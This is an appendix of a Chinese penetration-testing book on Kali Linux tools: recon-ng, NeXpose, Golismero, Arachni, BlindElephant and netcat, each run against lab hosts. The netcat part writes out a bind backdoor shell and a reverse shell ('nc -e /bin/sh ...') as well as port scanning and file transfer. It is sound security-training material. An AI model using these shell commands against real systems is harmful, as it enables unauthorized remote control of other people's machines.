附录A 辅助工具

本章将会通过以下几个角度,简要介绍几款渗透测试的辅助工具。

● 工具的功能;

● 如果这款工具没有被Kali Linux 收录,本文也会介绍其安装过程;

● 应用案例。

稍后介绍的部分工具确实没有被 Kali Linux 收录。要使用这些软件,就需要修改 Kali Linux的软件仓库配置文件/etc/apt/sources.lst,然后使用apt-get指令进行下载;您还可以从各个工具的官方网站下载这些程序。

我们把这些工具大体分为以下几类:

● 信息侦察工具;

● 漏洞扫描程序;

● Web 应用程序工具。

● 网络工具。

现在,我们就亲密接触这些工具吧!

A.1 侦察工具

recon-ng 是一款帮助我们进行信息侦察的程序。确切的说,它是自动侦察目标、自动识别目标的框架。如果您熟悉Metasploit的框架界面,您可能就会觉得recon-ng的界面很顺手——recon-ng的界面模仿的就是Metasploit的界面。

Kali Linux 已经安装了recon-ng 1.41 版本。喜欢尝试新版本的读者,可以从其官方网站进行更新:https://bitbucket.org/LaNMaSteR53/recon-ng/ overview。

默认安装的 recon-ng 带有信息侦察和目标识别的功能模块。对 1.41 版 recon-ng的功能模块进行分类统计,可得到以下数据。

● Recon modules(侦察模块):65 个。

● Discovery modules(识别模块):7 个。

● Reporting modules(报告模块):4 个。

● Experimental modules(实验性模块):1 个。

如需启动recon-ng程序,可使用下述指令。

recon-ng

运行上述指令之后,您将进入到recon-ng框架的提示符(见图A.1)。大体上看,它的提示信息和Metasploit界面的提示信息十分相似。

figure_0358_0175

图A.1

如需查看recon-ng支持的各种指令,可以在其提示符状态下使用help指令。这个指令的运行结果如图A.2所示。

在这些指令中,最常用的几个指令如下所示。

● use 或load:加载指定模块。

● reload:重新加载所有模块。

● info:显示指定模块的具体信息。

● run:运行指定的模块。

● show:展现recon-ng 框架的各种数据对象。

● back:退出当前提示符的级别。

show modules指令可以列出可供使用的全部模块。这个指令的运行结果如图A.3所示。

figure_0359_0176

图A.2

figure_0359_0177

图A.3

下述指令可通过Bing的搜索引擎,收集指定域名的各主机信息。

recon-ng > load recon/hosts/gather/http/web/bing_site

recon-ng [bing_site] > set domain example.com

DOMAIN => example.com

recon-ng [bing_site] > run

[*] URL: http://www.bing.com/search?first=0&q=site%3A example.com

[*] www.example.com

[*] leb.example.com

[*] sos.example.com

[*] forms.example.com

[*] bankrobbers.example.com

[*] vault.example.com

[*] tips.example.com

[*] delivery.example.com

[*] omaha.example.com

[*] chicago.example.com

[*] foia.example.com

[*] 11 total hosts found.

[*] 11 NEW hosts found!

然后,我们通过show hosts 指令查询前一个指令的搜索结果。

figure_0360_0178

上述例子只是recon-ng 多种功能的一个例子。有关它的各种功能的详细介绍,还请查询作者的官方网站(https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home)。

A.2 漏洞扫描程序

Kali Linux 默认安装了OpenVAS。虽然它是一款漏洞扫描程序,但是渗透测试人员不能仅依赖一款工具就确定安全现象。我们应当使用多款工具获取更为全面和详实的信息,充分理解被测信息系统的安全全貌。

本节将要介绍Rapid7 出品的NeXpose 漏洞扫描程序(共享版)。

A.2.1 NeXpose共享版

Rapid7 推出的NeXpose Vulnerability Scanner Community Edition(NeXposeCE)是一款免费的漏洞扫描程序。它可以与Metasploit exploit 框架整合。

NeXpose 共享版具有以下特性:

● 能够扫描最多32 个IP;

● 漏洞数据库可定期升级;

● 可指定风险评估的优先级;

● 可为改进安全性提供指导建议;

● 可与Metasploit 整合;

● 通过网站(http://community.rapid7.com)提供共享版的有关支持;

● 易于部署;

● 可作为免费的初级安全解决方案。

商业版的NeXpose程序具备更多功能。例如,它对扫描的IP数量没有限制,可进行分布式扫描,扫描报告更为灵活,可进行Web和数据库应用程序扫描,并有专门的技术支持服务。

NeXpose由两个部分组成。

● NeXpose扫描引擎:目标识别和检测漏洞的后台程序。共享版程序只有一个引擎,即本地引擎。

● NeXpose安全控制台:安全控制台负责与扫描引擎互动,以启动扫描任务并接收扫描结果。控制台还配有可配置、操作扫描引擎的Web接口。

在初步了解了NeXpose共享版的情况之后,我们接下来安装这个程序。

1.安装NeXpose

在Kali Linux 种安装NeXpose 共享版的具体步骤如下。

1.访问网址 http:∥www.rapid7.com/products/nexpose/nexposecommunity. jsp 并下载安装程序。您首先需要使用工作E-mail 进行注册。此后,网站会把NeXpose CE 许可证密钥和下载指南发送给注册的E-mail 地址。

2.根据E-mail里的信息下载NeXpose共享版的安装程序。本例下载的是适用于64位Linux操作系统的安装程序——NeXposeSetup-Linux64.bin。

3.打开终端程序,进入下载文件所在目录。

4.然后通过下述指令启动NeXpose的安装程序。

./NeXposeSetup-Linux64.bin

屏幕上会显示NeXpose的安装界面,如图A.4所示。

figure_0362_0179

图A.4

5.根据屏幕上的提示进行操作,逐步完成安装过程。请妥善保管在配置过程中设定的用户名和密码。如果您忘记了用户名或密码,就要重新安装NeXpose程序。

2.启动NeXpose

安装完毕之后,您就可以进入程序所在目录启动 NeXpose 程序。默认的安装目录是/opt/rapid7/nexpose。相对应地,您应当通过下述指令进入程序启动脚本所在的目录。

cd /opt/rapid7/nexpose/nsc

然后通过下述脚本程序启动NeXpose。

./nsc.sh

由于NeXpose 需要在启动过程中初始化漏洞信息数据库,所以程序的启动过程可能要花费数分钟的时间。待程序启动完毕,您就可以通过浏览器登录到NeXpose的安全控制台。

如果把NeXpose程序安装为守护进程(daemon),那么启动系统的时候它都会自动启动;另外,用户的注销操作也不会终止守护进程。把它安装为守护进程的具体步骤如下。

1.使用下述指令进入文件nexposeconsole.rc的所在目录。

cd [installation_directory]/nsc

2.打开这个文件,并确定NXP_ROOT变量已经设置为NeXpose的安装目录。

3.把文件nexposeconsole.rc复制到目录/etc/init.d,并将它重命名。本例通过下述指令把它重命名为nexpose。

cp [installation_directory]/nsc/nexposeconsole.rc /etc/init.d/nexpose

4.通过下述指令设置启动脚本的文件权限。

chmod +x /etc/init.d/nexpose

5.并让守护进程伴随系统启动。

update-rc.d nexpose defaults

6.可以通过下述指令控制NeXpose守护进程的启动、终止和重启。

/etc/init.d/nexpose

3.登录NeXpose

如欲登录到NeXpose共享版控制台的Web界面,就得遵循以下操作步骤。

1.打开浏览器并访问 https://127.0.0.1:3780。如果没有出现意外错误,您就会看到程序的登录界面。首次打开这个页面时,浏览器将会提示 Untrusted Connection 信息。您需要验证证书并把这个这个网站和证书设置为永久例外的规则。此后,您就再也不会看到这个警告信息了。

2.在首次访问控制台的时候,控制台将会进行初始设置。它会从Rapid7 的服务器上下载更新安装包。更新程序的过程耗时较长。

3.待程序完成初始化设置,您就可以使用在安装过程中设置好的用户名和密码登录。如图A.5 所示,在输入用户名和密码之后点击Log on按钮。

figure_0364_0180

图A.5

4.控制台将会提示您输入激活信息。如图A.6所示,在窗口的文本框内输入产品许可证密钥之后,点击Activate with key 以完成激活。

figure_0364_0181

图A.6

初次登录到控制台的时候,您会看到NeXpos的新闻页面。这个页面详细列出了NeXpose系统安装了的更新信息和功能改进纪录。如果看得到这个页面,就说明您所用的Kali Linux系统已经成功地安装了NeXpose共享版程序。

KaliLinux自带的Iceweasel浏览器可能无法登录到NeXpose 的安全控制台。如果发生这种情况,您就要安装 Firefox 浏览器。具体安装方法请参见http://kali4hackers.blogspot.com/2013/05/installfirefox-on-kali-linux.html。

4.使用NeXpose

本文将使用NeXpose对局域网进行一次简单的扫描。具体方法如下。

1. 如图A.7所示,在NeXpose的控制面板中点击Home,然后点击New static site in Site Listing以扫描指定网站。

figure_0365_0182

图A.7

2. 此后,依照屏幕上的向导对网站的配置进行设置。此后,在菜单中依次选中 Site configuration | General。然后在这个选项卡中设置网站名称、任务重要程度和任务描述。接下来点击Next按钮,在下一个选项卡中进行设置。

3. 在Assets 选项卡中,指定扫描目标的IP地址。共享版(CE)的NeXpose 最多可扫描32个IP,这个数字也是目标主机数量的上限。然后点击Next按钮,进入下一个选项卡。本例中,我们将使用 NeXpose 扫描运行 Metasploitable 2 的主机,即扫描192.168.56.102。具体设置如图A.8所示。

figure_0366_0183

图A.8

4. 然后您需要在Scan Setup中进行配置。此处,我们选用Full audit的全面扫描模板其他的设置就采取程序的默认设置。然后点击Next按钮,进入下一个选项卡。

5. 设置好选项之后,要点击 Save 按钮,保存各项配置设定。此后,刚才保存的扫描任务就会出现在程序的Site Listing 中。点击scan图标即可手动启动扫描任务。

6. 启动任务之后,界面将会显示Start New Scan 窗口。验证信息的正确性之后,点击Start Now 按钮运行扫描任务。

7. 如图A.9 所示,当NeXpose 完成扫描任务之后,它的控制台会显示扫描结果。

figure_0366_0184

图A.9

8. 图A.10 就是程序目标主机的漏洞报告。

figure_0367_0185

图A.10

9. 如需查看详细的审计报告,可以在顶级菜单里点击 Reports,并运行 Report Generator(报告生成工具)。此次任务的审计报告如图A.11所示。

figure_0367_0186

图A.11

以上就是NeXpose 共享版程序的简要介绍。下一个小节将介绍几款Web应用程序的测试工具。

A.3 Web应用程序测试工具

A.3.1 Golismero

Golismero是一款开源的Web应用程序测试框架,它由Python语言编写。Golismero的主要特征如下所示。

● 它能收集、整理多款著名测试程序(例如sqlmap、xsser、openvas、dnsrecon和theharvester)的扫描结果。

● 它整合了CWE、CVE 和OWASP 的数据库。

Kali Linux安装的Golismero版本过老,不能进行Web应用程序的相关测试。要安装最新版本的Golismero程序,请通过https://github.com/golismero/golismero/archive/master.Zip下载。

然后将之解压缩。接下来,可通过下述指令查看Golismero的帮助信息。

python golismero.py -h

程序显示的帮助信息如图A.12所示。

figure_0368_0187

图A.12

扫描某个网站的指令如下所示。

python golismero.py 192.168.1.138 -o 192-168-1-138.html

扫描结果如图A.13所示。

figure_0369_0188

图A.13

它生成的扫描报告如图A.14所示。

figure_0369_0189

图A.14

A.3.2 Arachni

Arachni(http://www.arachni-scanner.com/)是一款由Ruby语言编写的扫描Web应用程序的工具。它采取模块化设计,性能卓越。

Arachni的功能十分强大(http://www.arachni-scanner.com/about/ features),它能够:

● 支持SSL;

● 在审计的过程当中检测到注销状态并能重新登录;

● 高速处理HTTP请求;

● 进行并发扫描;

● 充分利用有限带宽精确识别被测目标的软件平台;

● 排查各种漏洞,可检测SQL 注入漏洞、CSRF、代码注入、LDAP 注入、路径遍历、文件包含和XSS问题。

美中不足的是,Arachni也有很多局限(http://www.arachni-scan ner.com/about/limitations/):

● 它不支持DOM、JavaScript、AJAX 和HTML5;

● 它的报告可能有假阳性的误报。

Kali Linux 默认安装的是0.4.4 版的Arachni 程序。

下述指令将显示帮助信息,并列出Arachni支持的各种指令。

arachni -h

列举所有模块的指令如下所示。

arachni --lsmod

上述指令的运行结果如图A.15所示。

figure_0370_0190

图A.15

出于演示的需要,我们使用 Arachni 扫描一个叫作 DVWA ( http://www. dvwa.co.uk/)的Web应用程序,并把扫描报告保存为HTML文件。假如运行DVWA程序的主机使用的IP是192.168.2.22,那么我们需要使用的指令如下所示。

arachni http://192.168.2.22/dvwa/ --report=html:

outfile=./192-168-2-22-dvwa.html

扫描报告将会保存在目录/usr/share/arachni/bin/中。使用浏览器打开这个报告文件,将会看到如图A.16所示的信息。

figure_0371_0191

图A.16

A.3.3 BlindElephant

BlindElephant是一款可对Web应用程序进行指纹对比的识别程序。这款工具通过扫描某些固定位置的静态文件,把这些文件的哈希值与各版本Web应用程序的那些文件的哈希值进行比对,从而鉴定被测Web应用程序的版本信息。

这种识别技术的鉴定速度快,带宽消耗低,无危害,通用性高且高度自动化。

如需显示BlindElephant的帮助文件,可使用以下指令。

BlindElephant.py -h

上述指令将会在屏幕上显示出程序的帮助信息。

如需了解BlindElephant支持的Web应用程序,或者需要列出它所支持的插件,可使用下述指令。

BlindElephant.py –l

上述指令的运行结果如下(见图A.17)。

figure_0372_0192

图A.17

如欲鉴定目标网站使用的哪个版本的WordPress程序,可使用下述指令。

BlindElephant.py target wordpress

上述指令的输出结果如下。

Hit http://target/readme.html

Possible versions based on result: 3.1.3, 3.1.3-IIS

Hit http://target/wp-includes/js/tinymce/tiny_mce.js

Possible versions based on result: 3.1.1, 3.1.1-IIS, 3.1.1-RC1,

3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS

...

Possible versions based on result: 3.1, 3.1.1, 3.1.1-IIS, 3.1.1-RC1,

3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS,

3.1-beta1, 3.1-beta1-IIS, 3.1-beta2, 3.1-beta2-IIS, 3.1-IIS, 3.1-RC1,

3.1-RC2, 3.1-RC2-IIS, 3.1-RC3, 3.1-RC3-IIS, 3.1-RC4, 3.1-RC4-IIS

Fingerprinting resulted in:

3.1.3

3.1.3-IIS

Best Guess: 3.1.3

BlindElephant 对被测的WordPress 程序的鉴定结果是 3.1.3 版程序。依据版本信息,我们可找到相应版本存在的安全漏洞。

A.4 网络工具

本节将要介绍一款多用途的网络工具。有些人把它叫做TCP/IP协议的瑞士军刀,它的名字就是NetCat(http://netcat.sourceforge.net/)。

A.4.1 netcat

netcat是一款借助TCP连接或UDP协议读写数据的工具。默认情况下,它使用TCP协议传递数据。无论是人工输入的指令,还是其他的程序和脚本,都可以调用这款工具传输数据。第11章介绍的ncat程序是netcat的改进版本。您应当注意的是,netcat不会对传输的数据进行加密。

渗透测试人员多数都了解netcat各种不同的用法。这款工具小巧,可移植性高,功能强大,可以在被测主机上单独运行。下面将针对渗透测试工作的需要演示 Netcat 程序的使用技巧。后文的网络配置情况如下。

● SSH Web 服务器的IP 地址是192.168.2.22;

● 客户端的IP 地址是192.168.2.23。

1.打开连接

netcat可以替代telnet的客户端程序,直接连接到指定IP地址的任意端口。这是它的最简单的用法。

例如,可使用下述指令连接到192.168.2.22的22端口(SSH服务)。

nc 192.168.2.22 22

远程服务器的回复信息如下。

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

然后,我们使用组合键Ctrl+C关闭连接。

2.提取服务标题

您可以通过前一个例子里用到的技术提取多数网络服务的服务标题(service banner)。不仅SSH服务有标志性的标题,其他的网络服务多数都有相应的服务标题。如果某个端口运行着HTTP服务,那么您需要使用HTTP指令提取标题信息。

例如,我们可使用下述指令提取Web服务软件的版本信息和操作系统信息。

echo -e "HEAD / HTTP/1.0\n\n" | nc 192.168.2.22 80

得到服务器响应如下。

HTTP/1.1 200 OK

Date: Tue, 08 Oct 2013 14:09:14 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10

Connection: close

Content-Type: text/html

上述信息表明,Web 服务的后台程序是Apache,主机的操作系统是Ubuntu 5.10。

3.简易聊天服务器

如果要使用netcat程序在1234端口上运行聊天服务器,可使用下述指令。

nc -l -p 1234

此后,您就可以使用telnet、netcat或者相似的软件,连接到服务端程序。

$ telnet 192.168.2.22 1234

随后所输入的所有字符,都将显示在服务端的netcat程序里。

这实际上建立了一种简单的双向通信连接。

如需关闭连接,可使用组合键Ctrl+C。

4.文件传输

如果要传递一个名为thepass的文件,可在接收端运行下述指令。

nc -l -p 1234 > thepass.out

然后在发送端运行下述指令。

nc -w3 192.168.2.22 1234 < thepass

从发送端将会把文件 thepass 传输到接收端。而后,接收端会把文件储存为thepass.out。

我在渗透测试任务中使用netcat传输过文件。当利用了被测主机的漏洞并建立reverse shell之后,用它传递了文件。幸运的是,被测主机装有netcat程序,用它传递文件并没有发生问题。

5.端口扫描

netcat还可以胜任简单的端口扫描工作。本例将使用netcat程序扫描被测主机的TCP 1~1000端口,同时指定程序:显示详细信息(-v)、禁止解析DNS名称(-n)、不发送任何数据(-z)、超时设置为1 秒(-w 1)。综合以上要求,我们需要使用的指令如下所示。

nc -n -v -z -w 1 192.168.2.22 1-1000

上述指令的运行结果如下。

(UNKNOWN) [192.168.2.22] 514 (shell) open

(UNKNOWN) [192.168.2.22] 513 (login) open

(UNKNOWN) [192.168.2.22] 512 (exec) open

(UNKNOWN) [192.168.2.22] 445 (microsoft-ds) open

(UNKNOWN) [192.168.2.22] 139 (netbios-ssn) open

(UNKNOWN) [192.168.2.22] 111 (sunrpc) open

(UNKNOWN) [192.168.2.22] 80 (http) open

(UNKNOWN) [192.168.2.22] 53 (domain) open

(UNKNOWN) [192.168.2.22] 25 (smtp) open

(UNKNOWN) [192.168.2.22] 23 (telnet) open

(UNKNOWN) [192.168.2.22] 22 (ssh) open

(UNKNOWN) [192.168.2.22] 21 (ftp) open

可见,主机192.168.2.22开放了多个端口(514、513、512、445、139、111、80、53、25、23、22、21)。

虽然netcat确实具有端口扫描的功能,但是本书建议您还是使用Nmap进行端口扫描。在这方面,毕竟Nmap的功能更为讲究。

6.backdoor shell

我们同样可以使用netcat程序实现一种可获取shell的后门。这种情况下,要指定程序的监听端口(通过-p选项设置)和shell(通过-e选项设置)。

如果要在1234号端口上打开/bin/sh的shell,可使用下述指令。

nc -e /bin/sh -l -p 1234

此后,我们在客户端上使用telnet或相似的客户端程序连接到服务端后门。

telnet 192.168.2.22 1234

在telnet客户端程序提示相应信息之后,您就可以通过这个shell在服务端的Linux主机上使用任意Linux指令。

例如,我们首先通过id指令获取登录账号的相关资料,可得到如下信息。

uid=1000(msfadmin) gid=1000(msfadmin)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video), 46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

接下来,我们通过下述指令查看服务端当前目录的所有文件。

ls -al

上述指令的运行结果如下。

total 9276

drwxr-xr-x 10 msfadmin msfadmin 4096 2013-09-16 18:40 .

drwxr-xr-x 6 root root  4096 2010-04-16 02:16 ..

lrwxrwxrwx 1 root root   9 2012-05-14 00:26 .bash_

history -> /dev/null

drwxr-xr-x 3 msfadmin msfadmin 4096 2013-09-08 03:55 cymothoa

1-beta

-rw-r--r-- 1 msfadmin msfadmin 18177 2013-09-08 03:36 cymothoa

1-beta.tar.gz

drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc

-rw-r--r-- 1 msfadmin msfadmin 1669 2013-08-27 10:11 etc-passwd

-rw-r--r-- 1 msfadmin msfadmin 1255 2013-08-27 10:11 etc-shadow

drwxr-xr-x 5 msfadmin msfadmin 4096 2013-06-12 01:23 .fluxbox

drwx------ 2 msfadmin msfadmin 4096 2013-09-14 08:25 .gconf

drwx------ 2 msfadmin msfadmin 4096 2013-09-14 08:26 .gconfd

-rw------- 1 root root   26 2013-09-14 08:57 .nano_his

tory

-rwxr-xr-x 1 msfadmin msfadmin 474740 2013-09-14 09:38 ncat

drwxr-xr-x 21 msfadmin msfadmin 4096 2013-09-14 09:31 nmap-6.40

-rw-r--r-- 1 msfadmin msfadmin 586 2010-03-16 19:12 .profile

ls 指令的运行结果会回显在客户端的屏幕上。如果在服务端是以 root 权限运行的netcat程序,那么连接到这个后门的客户端用户同样具有服务端主机的全部root权限。不过shell并不是真正的终端,也就是说您无法在shell上运行su之类的指令。

需要注意的是,netcat不会进行加密连接;此外,只要发现了后门的端口,就可连接到相应端口,对服务端主机进行控制。

7.reverse shell

netcat 的reverse shell 工作模式和上一个例子的连接模式恰恰相反。刚才的例子中,我们在服务端开放了一个端口,并把shell 绑定到这个端口。reverse shell 则是让远程主机(shell的服务器端)连接到我们所用的主机(即shell的客户端)。

首先,我们在客户端主机上运行下述指令。

nc -n -v -l -p 1234

然后在服务器端运行下述指令。

nc -e /bin/sh 192.168.2.23 1234

如果客户端主机提示以下信息,则说明我们已经连接到了reverse shell。

connect to [192.168.2.23] from (UNKNOWN) [192.168.2.22] 53529

此后,您可以在客户端主机向服务器端主机发布任意指令。

例如,可在客户端程序里使用下述指令查看远程主机的IP地址。

ip addr show

上述指令的运行结果如下。

1: lo: mtu 16436 qdisc noqueue

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

inet 127.0.0.1/8 scope host lo

inet6 ::1/128 scope host

valid_lft forever preferred_lft forever

2: eth0: mtu 1500 qdisc pfifo_ fast qlen 1000

link/ether 08:00:27:43:15:18 brd ff:ff:ff:ff:ff:ff

inet 192.168.2.22/24 brd 192.168.2.255 scope global eth0

inet6 fe80::a00:27ff:fe43:1518/64 scope link

valid_lft forever preferred_lft forever

在客户端程序里,可执行远程主机支持的所有指令。

A.5 本章小结

本章介绍了数款可能会在渗透测试的工作中使用到的工具。有些软件并没有被 Kali Linux收录,而且Kali收录的软件其版本可能版本不够新。不过,正如我们看到的那样,更新或安装软件的过程并不复杂。本章介绍了4类软件:信息侦察工具、漏洞扫描程序、Web应用程序工具和网络工具。

本文介绍的工具都是广受欢迎的、功能强大且成熟度很高的程序。

本章首先对这些工具进行简要介绍,而后演示了其安装和配置方法,并讲解了它们的各种使用方法。